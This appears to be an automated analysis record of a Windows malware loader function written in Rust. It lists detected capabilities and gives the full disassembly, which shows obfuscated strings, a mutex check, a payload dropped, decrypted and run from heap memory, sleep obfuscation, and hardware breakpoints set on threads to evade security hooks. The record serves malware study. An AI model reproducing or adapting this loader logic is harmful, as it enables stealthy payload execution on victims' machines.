Function at 0x1800015b0
Capabilities:
Check mutex on windows
Encode data using xor
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x728
movaps xmmword [rsp + 0x710], xmm6
lea rcx, [rsp + 0x220]
call sym.std::env::args::ha78b0ed599fb452d
lea rcx, [rsp + 0x188]
lea rdx, [rsp + 0x220]
call sym._ZN98__LT_alloc..vec..Vec_LT_T_GT__u20_as_u20_alloc..vec..spec_from_iter..SpecFromIter_LT_T_C_I_GT__GT_9from_iter17hed3c98c03f
mov rbx, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
test rsi, rsi
je 0x1800017d2
lea rax, [rsi*8]
lea rdi, [rax + rax*2]
xor r14d, r14d
lea r12, [rsp + 0x90]
movabs r13, 0x37d54731c4e57065
jmp 0x18000163d
add r14, 0x18
cmp rdi, r14
je 0x18000179a
mov rbp, qword [rbx + r14 + 8]
mov r15, qword [rbx + r14 + 0x10]
lea rax, [0x1800c8bf3]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x90], 0x27d849a1
mov edx, dword [rsp + 0x90]
call sym.obfstr::xref::inner::h69bafd45118cee11
mov rcx, qword [rax]
xor rcx, r13
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xa8
shr eax, 8
xor al, 0x3d
mov qword [rsp + 0x240], rcx
mov byte [rsp + 0x248], dl
mov byte [rsp + 0x249], al
cmp r15, 0xa
jne 0x180001630
mov rax, qword [rbp]
xor rax, qword [rsp + 0x240]
movzx ecx, word [rbp + 8]
xor cx, word [rsp + 0x248]
movzx ecx, cx
or rcx, rax
jne 0x180001630
lea rax, [0x1800d1e90]
mov qword [rsp + 0x240], rax
lea rax, [rsp + 0x240]
mov rcx, qword [rsp + 0x240]
mov dword [rsp + 0x240], 0x9203345e
mov edx, dword [rsp + 0x240]
call sym.obfstr::xref::inner::h0d15fa95d7d269c8
mov ecx, 0xa45629de
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0x68
mov dword [rsp + 0x1b0], ecx
mov byte [rsp + 0x1b4], al
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x1b0]
mov r8d, 5
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h35ff5c462c0ae14b
movabs r13, 0x8000000000000000
cmp qword [rsp + 0x90], r13
jne 0x18000272e
mov r14, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
xor ecx, ecx
xor edx, edx
mov r8, r14
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x180001815
mov byte [r14], 0
mov ebp, 1
test r12, r12
je 0x18000179c
mov r8d, 1
mov rcx, r14
mov rdx, r12
call sym.__rust_dealloc
jmp 0x18000179c
xor ebp, ebp
test rsi, rsi
je 0x1800017d4
lea rdi, [rbx + 8]
jmp 0x1800017b9
add rdi, 0x18
dec rsi
je 0x1800017d4
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x1800017b0
mov rcx, qword [rdi]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x1800017b0
xor ebp, ebp
mov rax, qword [rsp + 0x188]
test rax, rax
je 0x1800017f7
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rbx
call sym.__rust_dealloc
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x710]
add rsp, 0x728
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x240]
call sym.std::env::temp_dir::h148f648df7aea778
lea rcx, [rsp + 0x240]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
mov rsi, rax
mov rbx, rdx
lea rax, [0x1800cbace]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x90], 0xf5f9cb13
mov edx, dword [rsp + 0x90]
call sym.obfstr::xref::inner::h6f2729b20a2338ce
movabs rcx, 0xf58c38a4b3d0c959
xor rcx, qword [rax]
movabs rdx, 0xf4a15ba22188bce8
xor rdx, qword [rax + 8]
mov r8d, 0x257bfd48
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rdx
mov dword [rsp + 0xa0], r8d
mov qword [rsp + 0x20], 0x14
lea rcx, [rsp + 0x200]
lea r9, [rsp + 0x90]
mov rdx, rsi
mov r8, rbx
call sym.std::path::Path::_join::hb96b5b808166ac2a
mov rdx, qword [rsp + 0x240]
test rdx, rdx
je 0x1800018ec
mov rcx, qword [rsp + 0x248]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x200]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
lea r8, [0x1800c61a8]
mov r9d, 0xebce
mov rcx, rax
call sym.std::fs::write::inner::h32c2f445916888cf
test rax, rax
jne 0x18000277c
mov dword [rsp + 0x240], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x248], xmm0
mov dword [rsp + 0x258], 7
mov qword [rsp + 0x25c], 0
mov word [rsp + 0x264], 0
mov byte [rsp + 0x260], 1
lea rcx, [rsp + 0x200]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
mov r8, rdx
lea rcx, [rsp + 0x240]
mov rdx, rax
call sym.std::fs::OpenOptions::_open::h92133db32b6abe7c
test rax, rax
jne 0x1800027b0
lea rcx, [rsp + 0x240]
call sym.zip::read::ZipArchive_R_::new::h2886dc4feecf9883
cmp qword [rsp + 0x240], r13
je 0x1800027e4
movups xmm0, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rsp + 0x240]
movups xmm1, xmmword [rsp + 0x250]
movups xmm2, xmmword [rsp + 0x260]
movups xmm3, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movdqa xmmword [rsp + 0x1b0], xmm0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], 1
mov qword [rsp + 0x180], 0
cmp qword [rsp + 0x1c0], 0
je 0x180002832
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0x1b0]
xor r8d, r8d
call sym.zip::read::ZipArchive_R_::by_index::h39ffeace9176c770
cmp dword [rsp + 0x240], 3
je 0x18000287c
lea rsi, [rsp + 0x90]
lea rdx, [rsp + 0x240]
mov r8d, 0xb8
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rdx, [rsp + 0x170]
mov rcx, rsi
xor r8d, r8d
call sym.std::io::default_read_to_end::h0ca2df78156dc631
test rax, rax
jne 0x1800028ca
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x180001b07
cmp eax, 1
jne 0x180001ac2
mov rdx, qword [rsp + 0xb8]
test rdx, rdx
je 0x180001ab3
mov rcx, qword [rsp + 0xb0]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0xd0]
call sym.__flate2::mem::DirDecompress_as_flate2::mem::Direction_::destroy::h3bbe66668ac8b6b3
jmp 0x180001b07
mov rdx, qword [rsp + 0xa0]
test rdx, rdx
je 0x180001ae2
mov rcx, qword [rsp + 0x98]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0xd8]
call sym.__bzip2::mem::DirDecompress_as_bzip2::mem::Direction_::destroy::h9b09c5905bb40e9f
mov rcx, qword [rsp + 0xd8]
mov edx, 0x50
mov r8d, 8
call sym.__rust_dealloc
lea rcx, [rsp + 0x200]
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h30fe6b7321b7e128
mov rcx, rax
call sym.std::sys::pal::windows::fs::unlink::hb1dd3f6aae384c7b
test rax, rax
jne 0x1800028fe
mov rbx, qword [rsp + 0x180]
test rbx, rbx
je 0x180001bdc
js 0x180002932
mov rsi, qword [rsp + 0x178]
mov rax, qword [0x1800fdf88]
movzx eax, byte [rax]
mov r15d, 1
mov edx, 1
mov rcx, rbx
call sym.__rust_alloc
test rax, rax
je 0x180002935
mov rdi, rax
lea rax, [rbx - 0x21]
cmp rax, 0xffffffffffffffe7
jae 0x1800021aa
xor eax, eax
mov rcx, rax
or rcx, 1
test bl, 1
je 0x180001ba3
mov edx, eax
and edx, 0x18
lea r8, [0x1800d4d76]
movzx edx, byte [rdx + r8]
xor dl, byte [rsi + rax]
mov byte [rdi + rax], dl
mov rax, rcx
cmp rbx, rcx
je 0x180001be1
lea rcx, [0x1800d4d76]
nop
mov edx, eax
and edx, 0x1f
movzx edx, byte [rdx + rcx]
xor dl, byte [rsi + rax]
mov byte [rdi + rax], dl
lea edx, [rax + 1]
and edx, 0x1f
movzx edx, byte [rdx + rcx]
xor dl, byte [rsi + rax + 1]
mov byte [rdi + rax + 1], dl
add rax, 2
cmp rbx, rax
jne 0x180001bb0
jmp 0x180001be1
mov edi, 1
mov ecx, 0x40000
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_HeapCreate
mov rsi, rax
mov rcx, rax
mov edx, 8
mov r8, rbx
call fcn.1800a701c
mov r15, rax
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x18000248b
mov ecx, 0xfa0
call sym.secondstage::ekko_common::ekko::h046f6b0861e0c2f9
lea rcx, [rsp + 0x240]
mov r8d, 0x4d0
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rsp + 0x270], 0x10001f
cmp byte [0x180112020], 0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x68], r15
jne 0x180001de4
lea rax, [0x1800d0b9d]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x90], 0xb2e2bcd9
mov edx, dword [rsp + 0x90]
call sym.obfstr::xref::inner::h644056c83894223c
movabs rcx, 0x622b08db0a7943d
xor rcx, qword [rax]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x58]
mov r8d, 8
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h35ff5c462c0ae14b
cmp qword [rsp + 0x38], r13
jne 0x180002948
mov rbp, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov rcx, rbp
call sub.kernel32.dll_GetModuleHandleA
mov rsi, rax
test rax, rax
jne 0x180001cf4
mov rcx, rbp
call sub.kernel32.dll_LoadLibraryA
mov rsi, rax
test rax, rax
je 0x1800023c5
lea rax, [0x1800cc04c]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x90], 0xc07082cd
mov edx, dword [rsp + 0x90]
call sym.obfstr::xref::inner::hb812b546d7fea039
movabs rcx, 0x1874c928d465bdc6
xor rcx, qword [rax]
mov edx, 0xab60b980
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xa8
shr eax, 8
xor al, 0x12
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x60], edx
mov byte [rsp + 0x64], r8b
mov byte [rsp + 0x65], al
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x58]
mov r8d, 0xe
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h35ff5c462c0ae14b
cmp qword [rsp + 0x38], r13
jne 0x180002995
mov r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
mov rcx, rsi
mov rdx, r12
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1800023aa
mov byte [0x180112020], 1
mov qword [0x180112028], rax
mov byte [r12], 0
test r15, r15
je 0x180001dc8
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbp], 0
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180001de4
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
cmp byte [0x180112030], 0
jne 0x180001f6d
lea rax, [0x1800cc809]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x90], 0x37d83def
mov edx, dword [rsp + 0x90]
call sym.obfstr::xref::inner::h4f5a69daffff4424
movabs rcx, 0x3a842c85114fff75
xor rcx, qword [rax]
movzx eax, byte [rax + 8]
xor al, 0xef
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x60], al
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x58]
mov r8d, 9
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h35ff5c462c0ae14b
cmp qword [rsp + 0x38], r13
jne 0x1800029e2
mov rbp, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov rcx, rbp
call sub.kernel32.dll_GetModuleHandleA
mov rsi, rax
lea rax, [0x1800c81a9]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0x90]
mov dword [rsp + 0x90], 0x3c937ba2
mov edx, dword [rsp + 0x90]
call sym.obfstr::xref::inner::hc1487c6ae191e9e0
movabs rcx, 0xb99f334de4032e0c
xor rcx, qword [rax]
mov edx, 0xa1212a76
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x61
shr eax, 8
xor al, 0xa0
mov qword [rsp + 0x58], rcx
mov dword [rsp + 0x60], edx
mov byte [rsp + 0x64], r8b
mov byte [rsp + 0x65], al
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x58]
mov r8d, 0xe
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h35ff5c462c0ae14b
cmp qword [rsp + 0x38], r13
jne 0x180002a2c
mov r12, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
mov rcx, rsi
mov rdx, r12
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1800023dd
mov byte [0x180112030], 1
mov qword [0x180112038], rax
mov byte [r12], 0
test r15, r15
je 0x180001f51
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbp], 0
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180001f6d
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
mov qword [rsp + 0x158], rdi
lea rdx, [sym.secondstage::exception_handler::h278f3bab32d65ea8]
mov ecx, 1
call sub.kernel32.dll_AddVectoredExceptionHandler
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xb0], xmm0
movdqa xmmword [rsp + 0xa0], xmm0
movdqa xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x90]
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
mov esi, eax
mov edi, dword [rsp + 0xb0]
mov rax, qword [0x1800fdf88]
movzx eax, byte [rax]
mov r12d, 0x100000
mov r15d, 1
mov ecx, 0x100000
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x180002938
mov dword [rsp + 0x84], 0
lea r9, [rsp + 0x84]
mov ecx, 5
mov qword [rsp + 0x30], rax
mov rdx, rax
mov r8d, 0x100000
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
js 0x180002458
mov eax, dword [rsp + 0x84]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 8
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x88], rax
test rax, rax
je 0x180002458
mov qword [rsp + 0x150], rbx
mov qword [rsp + 0x160], r14
test esi, esi
mov eax, 1
cmove rax, rdi
mov qword [rsp + 0x1a8], rax
mov rcx, qword [rsp + 0x30]
mov rax, rcx
add rax, 0x100
mov qword [rsp + 0x1a0], rax
xor edi, edi
xorps xmm6, xmm6
lea rbp, [rsp + 0x168]
lea rsi, [rsp + 0x90]
lea r12, [rsp + 0x58]
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x1a8]
cmp qword [rcx + rdi + 0x50], rax
je 0x180002102
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rdi]
test rax, rax
je 0x1800021e4
add rdi, rax
cmp rdi, qword [rsp + 0x88]
jb 0x1800020d0
jmp 0x1800021e4
mov rax, qword [rsp + 0x30]
mov r14d, dword [rax + rdi + 4]
test r14, r14
je 0x1800020df
mov rax, qword [rsp + 0x1a0]
lea rbx, [rax + rdi]
jmp 0x18000213a
mov rax, qword [rsp + 0x40]
mov qword [rax + r15*8], r13
inc r15
mov qword [rsp + 0x48], r15
add rbx, 0x50
dec r14
je 0x1800020df
mov qword [rsp + 0x168], 0
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0x58], 0
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x60], rax
mov rcx, rbp
mov edx, 0x1fffff
mov r8, rsi
mov r9, r12
call sub.ntdll.dll_NtOpenThread
test eax, eax
js 0x180002131
mov r13, qword [rsp + 0x168]
mov r15, qword [rsp + 0x48]
cmp r15, qword [rsp + 0x38]
jne 0x180002120
lea rcx, [rsp + 0x38]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::h73c7cbd1e5f5ef6d
jmp 0x180002120
mov rcx, rdi
sub rcx, rsi
xor eax, eax
cmp rcx, 0x20
jb 0x180001b7d
lea rcx, [0x1800d4d76]
mov rdx, rdi
sub rdx, rcx
cmp rdx, 0x20
jb 0x180001b7d
cmp rbx, 0x20
jae 0x18000233c
xor eax, eax
jmp 0x180002372
mov rdx, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
test rdi, rdi
je 0x180002425
mov qword [rsp + 0x88], rdx
movabs rbx, 0xffffffff0000fffb
mov rbp, qword [rsp + 0x40]
mov edx, 0x100000
mov r8d, 1
call sym.__rust_dealloc
shl rdi, 3
xor r12d, r12d
lea rsi, [rsp + 0x240]
lea r13, [rbx + 3]
mov r14, qword [rsp + 0x160]
mov rax, rbp
add rax, r12
je 0x1800022f9
mov r15, qword [rax]
mov rcx, r15
mov rdx, rsi
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x1800026ef
cmp byte [0x180112020], 1
jne 0x180002296
mov rax, qword [0x180112028]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x2b0]
and rax, r13
or rax, 1
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2a8], 0
cmp byte [0x180112030], 1
jne 0x1800022d1
mov rax, qword [0x180112038]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x2b0]
and rax, rbx
or rax, 4
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2a8], 0
mov rcx, r15
mov rdx, rsi
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x1800026ef
mov rcx, r15
call sub.ntdll.dll_NtClose
add r12, 8
cmp rdi, r12
jne 0x180002239
mov rdx, qword [rsp + 0x88]
test rdx, rdx
je 0x180002318
shl rdx, 3
mov r8d, 8
mov rcx, rbp
call sym.__rust_dealloc
mov r12, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x150]
mov rdi, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x78]
mov r15, qword [rsp + 0x68]
jmp 0x18000247a
mov eax, ebx
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
pxor xmm0, xmmword [0x1800c6010]
xorps xmm1, xmmword [0x1800c6020]
and eax, 0x20
movdqu xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm1
cmp rbx, rax
je 0x180001be1
test bl, 0x18
je 0x180001b7d
mov rdx, rax
mov eax, ebx
and eax, 0x38
nop word [rax + rax]
mov r8d, edx
and r8d, 0x18
mov r8, qword [r8 + rcx]
xor r8, qword [rsi + rdx]
mov qword [rdi + rdx], r8
add rdx, 8
cmp rax, rdx
jne 0x180002380
cmp rbx, rax
jne 0x180001b7d
jmp 0x180001be1
mov byte [r12], 0
test r15, r15
je 0x1800023c5
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbp], 0
mov rdx, qword [rsp + 0x30]
test rdx, rdx
mov r12, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
jmp 0x18000240e
mov byte [r12], 0
test r15, r15
mov rsi, qword [rsp + 0x78]
je 0x1800023fd
mov r8d, 1
mov rcx, r12
mov rdx, r15
call sym.__rust_dealloc
mov byte [rbp], 0
mov rdx, qword [rsp + 0x30]
test rdx, rdx
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
je 0x18000247a
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
jmp 0x18000247a
test rdx, rdx
mov r12, qword [rsp + 0x70]
mov r14, qword [rsp + 0x160]
mov rbx, qword [rsp + 0x150]
mov r15, qword [rsp + 0x68]
je 0x180002458
mov rcx, qword [rsp + 0x40]
shl rdx, 3
mov r8d, 8
call sym.__rust_dealloc
mov edx, 0x100000
mov r8d, 1
mov rcx, qword [rsp + 0x30]
call sym.__rust_dealloc
mov rdi, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x78]
mov rcx, r15
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memmove
call r15
mov rcx, rsi
xor edx, edx
mov r8, r15
call fcn.1800a702c
test rbx, rbx
je 0x1800024ae
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x170]
test rdx, rdx
je 0x1800024ce
mov rcx, qword [rsp + 0x178]
mov r8d, 1
call sym.__rust_dealloc
mov rcx, qword [rsp + 0x1f8]
call fcn.1800a6e3c
mov rsi, qword [rsp + 0x1c0]
test rsi, rsi
je 0x18000253d
mov rdi, qword [rsp + 0x1b8]
add rdi, 0x20
jmp 0x18000250c
add rdi, 0x90
dec rsi
je 0x18000253d
mov rdx, qword [rdi - 0x20]
test rdx, rdx
je 0x180002524
mov rcx, qword [rdi - 0x18]
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rdi - 8]
test rdx, rdx
je 0x180002500
mov rcx, qword [rdi]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x180002500
mov rax, qword [rsp + 0x1b0]
test rax, rax
je 0x180002565
mov rcx, qword [rsp + 0x1b8]
shl rax, 4
lea rdx, [rax + rax*8]
mov r8d, 8
call sym.__rust_dealloc
mov rbx, qword [rsp + 0x1d0]
test rbx, rbx
je 0x180002649
mov r13, r14
mov rsi, qword [rsp + 0x1e0]
test rsi, rsi
je 0x180002619
mov rdi, qword [rsp + 0x1c8]
movdqa xmm0, xmmword [rdi]
pmovmskb r15d, xmm0
not r15d
lea r14, [rdi + 0x10]
jmp 0x1800025c2
dec rsi
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
test rsi, rsi
je 0x180002619
test r15w, r15w
jne 0x1800025f1
nop dword [rax + rax]
movdqa xmm0, xmmword [r14]
pmovmskb r15d, xmm0
add rdi, 0xfffffffffffffe00
add r14, 0x10
cmp r15d, 0xffff
je 0x1800025d0
not r15d
tzcnt ecx, r15d
shl ecx, 5
mov rax, rdi
sub rax, rcx
mov rdx, qword [rax - 0x20]
test rdx, rdx
je 0x1800025b0
mov rcx, qword [rax - 0x18]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x1800025b0
mov rax, rbx
shl rax, 5
add rbx, rax
add rbx, 0x31
mov r14, r13
je 0x180002649
mov rcx, qword [rsp + 0x1c8]
sub rcx, rax
add rcx, 0xffffffffffffffe0
mov r8d, 0x10
mov rdx, rbx
call sym.__rust_dealloc
mov rdx, qword [rsp + 0x200]
test rdx, rdx
je 0x180002669
mov rcx, qword [rsp + 0x208]
mov r8d, 1
call sym.__rust_dealloc
mov byte [r14], 0
test r12, r12
je 0x180002683
mov r8d, 1
mov rcx, r14
mov rdx, r12
call sym.__rust_dealloc
mov rsi, qword [rsp + 0x190]
mov rdi, qword [rsp + 0x198]
test rdi, rdi
je 0x1800026c2
lea rbx, [rsi + 8]
jmp 0x1800026a9
add rbx, 0x18
dec rdi
je 0x1800026c2
mov rdx, qword [rbx - 8]
test rdx, rdx
je 0x1800026a0
mov rcx, qword [rbx]
mov r8d, 1
call sym.__rust_dealloc
jmp 0x1800026a0
mov rax, qword [rsp + 0x188]
test rax, rax
je 0x1800026e5
shl rax, 3
lea rdx, [rax + rax*2]
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
mov ebp, 1
jmp 0x1800017f7
mov rdx, qword [rsp + 0x88]
test rdx, rdx
mov r12, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x150]
mov rdi, qword [rsp + 0x158]
mov rsi, qword [rsp + 0x78]
mov r15, qword [rsp + 0x68]
je 0x18000247a
shl rdx, 3
mov r8d, 8
jmp 0x18000241b
movdqu xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x250], xmm1
movdqa xmmword [rsp + 0x240], xmm0
lea rax, [0x1800c6190]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h1d641fe98f6b5aec
lea r8, [rsp + 0x240]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
mov qword [rsp + 0x240], rax
lea rax, [0x1800d4d98]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h306240dd51cffdc4
lea r8, [rsp + 0x240]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
mov qword [rsp + 0x240], rdx
lea rax, [0x1800d4db0]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h306240dd51cffdc4
lea r8, [rsp + 0x240]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x248]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1800d4dc8]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_zip::result::ZipError_::h739c7be6fd9dc400
lea r8, [rsp + 0x90]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
mov qword [rsp + 0x240], 8
mov qword [rsp + 0x248], 0
mov qword [rsp + 0x250], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x258], xmm0
lea rdx, [0x1800d4de0]
lea rcx, [rsp + 0x240]
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
jmp 0x180002a74
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x248]
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1800d4df8]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_zip::result::ZipError_::h739c7be6fd9dc400
lea r8, [rsp + 0x90]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
mov qword [rsp + 0x240], rdx
lea rax, [0x1800d4e10]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h306240dd51cffdc4
lea r8, [rsp + 0x240]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
mov qword [rsp + 0x240], rax
lea rax, [0x1800d4e28]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h306240dd51cffdc4
lea r8, [rsp + 0x240]
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
xor r15d, r15d
mov r12, rbx
mov rcx, r15
mov rdx, r12
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
jmp 0x180002a74
movdqu xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1800d4e40]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800c6090]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h1d641fe98f6b5aec
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
movdqu xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1800d4e58]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800c6090]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h1d641fe98f6b5aec
lea r8, [rsp + 0x90]
mov edx, 0x2b
call sym.core::result::unwrap_failed::h8f275d6668207d54
jmp 0x180002a74
movdqu xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0xa0], xmm1
movdqa xmmword [rsp + 0x90], xmm0
lea rax, [0x1800d4e70]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800c6090]
lea r9, sym.core::ptr::drop_in_place_alloc::ffi::c_str::NulError_::h1d641fe98f6b5aec
